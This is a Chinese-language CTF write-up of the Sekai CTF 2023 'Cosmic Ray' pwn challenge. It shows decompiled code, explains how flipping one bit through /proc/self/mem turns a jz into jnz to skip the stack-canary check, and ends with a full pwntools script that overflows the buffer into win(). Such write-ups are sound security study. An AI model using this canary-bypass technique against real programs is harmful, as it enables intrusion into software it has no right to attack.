Sekai CTF 2023 Writeup 周末都在 AIS3 Club,賽中只解出 Cosmic Ray,有看了一下 network tools 和 testsender,打算再給自己一段時間思考解法
Cosmic Ray
用 IDA 打開後發現有 buffer overflow,但有開 canary,所以要想辦法 leak 或讓它壞掉 有給一個 win(),會直接輸出 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int argc, const char **argv, const char **envp) { __int64 v3; int result; __int64 addr; __int64 v6; unsigned __int64 v7; __int64 v8; __asm { endbr64 } v8 = v3; v7 = __readfsqword(0x28 u); setbuf_0(_bss_start, 0LL , envp); puts_0("Welcome to my revolutionary new cosmic ray machine!" ); puts_0("Give me any address in memory and I'll send a cosmic ray through it:" ); scanf ("0x%lx" , &addr); getchar_0("0x%lx" , &addr); cosmic_ray((__int64)&v8, addr); puts_0("Please write a review of your experience today:" ); gets_0(&v6); result = 0 ; __readfsqword(0x28 u); return result; }
跟進去 cosmic_ray(),發現它會把我們給的 address 裡的資料取出來,可以選擇翻轉其中 1 bit 再把資料寫回去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 unsigned __int64 __usercall cosmic_ray@<rax>(__int64 a1@<rbp>, __int64 addr@<rdi>){ __int64 v2; int idx; signed int i; unsigned int v6; _BYTE *bin_arr; __int64 v8; __int16 v9; unsigned __int64 v10; __int64 v11; __asm { endbr64 } v11 = a1; v10 = __readfsqword(0x28 u); v6 = open_0("/proc/self/mem" , 2LL ); lseek_0(v6, addr, 0LL ); read_0(v6, &v9, 1LL ); bin_arr = get_bin(v9); puts_0("\n|0|1|2|3|4|5|6|7|" ); printf_0(); for ( i = 0 ; i <= 7 ; ++i ) { v2 = (unsigned int )(char )bin_arr[i]; printf_0(); } puts_0("\n\nEnter a bit position to flip (0-7):" ); scanf ("%d" , &idx); getchar_0("%d" , &idx); if ( idx < 0 || idx > 7 ) exit_0(1LL ); v8 = flip_bit((__int64)bin_arr, idx); HIBYTE(v9) = binary_to_byte((__int64)&v11, v8); printf_0(); lseek_0(v6, addr, 0LL ); write_0(); return v10 - __readfsqword(0x28 u); }
看了 flit_bit() 與 binary_to_byte() 都沒發現漏洞,後面也沒有發現可以做 leak 的地方 由於它是 Partial RELRO 的關係,有想到透過 GOT Hijacking 來把 puts() gets() __stack_check_fail() 其中一個的 GOT 寫成 win(),但用 gdb 看一下發現地址差得有點多,無法只透過翻 1 bit 來改成 win()
回去看 cosmic_ray() 發現它是透過讀寫 /proc/self/mem 來完成操作的,之前打 Google CTF 2023 時有遇到一題 write-flag-where 也是類似的作法,由於讀寫 /proc/self/mem 可以無視 pages 的權限,所以可以更改 .text 段的內容。
這邊可以將 jz(opcode = 0x74) 寫成 jnz(opcode = 0x75),使程式不呼叫 __stack_check_fail() 來通過檢查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] p = remote('chals.sekai.team' , 4077 ) elf = ELF('./cosmicray' ) win = elf.symbols['win' ] p.recvuntil(b':\n' ) p.sendline(hex (0x4016f4 )) p.recvuntil(b':\n' ) p.sendline(b'7' ) p.recvuntil(b':' ) p.sendline(b'a' * 0x38 + p64(win)) p.interactive()